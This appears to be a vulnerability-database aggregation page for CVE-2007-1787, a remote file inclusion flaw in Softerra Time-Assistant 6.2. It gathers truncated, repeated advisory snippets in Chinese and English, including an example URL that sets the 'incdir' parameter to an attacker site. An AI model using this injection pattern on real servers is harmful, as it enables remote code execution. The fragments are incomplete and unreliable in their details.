EUVD-2007-1781

Malware in sbrugna...

Softerra Time-Assistant远程文件包含漏洞

Softerra Time-Assistant是一款基于PHP的WEB应用程序。 Softerra Time-Assistant不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的WEB参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Softerra Time-Assistant 6.2 目前没有解决方案提供： http://www.time-assistant.com/ http://example.com/lib/timesheet.class.php?incdir=attacker site...

adv80-K-159-2007.txt

----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni...

CVE-2007-1787

Multiple PHP remote file inclusion vulnerabilities in lib/timesheet.class.php in Softerra Time-Assistant 6.2 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the 1 incdir or 2 libdir parameter...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in lib/timesheet.class.php in Softerra Time-Assistant 6.2 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the 1 incdir or 2 libdir parameter...

CVE-2007-1787

Softerra Time-Assistant 6.2 and earlier is affected by CVE-2007-1787 through multiple PHP remote file inclusion vulnerabilities in lib/timesheet.class.php when register_globals is enabled. An attacker can cause remote PHP code execution by supplying a URL in the (1) inc_dir or (2) lib_dir paramet...

CVE-2007-1787

Multiple PHP remote file inclusion vulnerabilities in lib/timesheet.class.php in Softerra Time-Assistant 6.2 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the 1 incdir or 2 libdir parameter...

[ECHO_ADV_80$2007] Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability

----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni...

Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vuln

No description provided by source. \ /\ / | \ | / // / | | \ \ Y / | / / \ /\| /\ / / / / / .OR.ID ECHOADV80$2007 ----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vulnerability...

Softerra Time-Assistant &lt;= 6.2 (inc_dir) Remote File Inclusion Vuln

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV80$2007 ----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion...

Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications =================================================================== Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vuln =================================================================== \ /\ \ / | \ \ | / \ // / | \ | \ \...

Softerra Time-Assistant 6.2 - inc_dir Remote File Inclusion

Softerra Time-Assistant 6.2 - incdir Remote File Inclusion \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV80$2007 ----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir...

Softerra Time-Assistant 6.2 - &#039;inc_dir&#039; Remote File Inclusion

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV80$2007 ----------------------------------------------------------------------------------------- ECHOADV80$2007 Softerra Time-Assistant = 6.2 incdir Remote File Inclusion Vulnerability...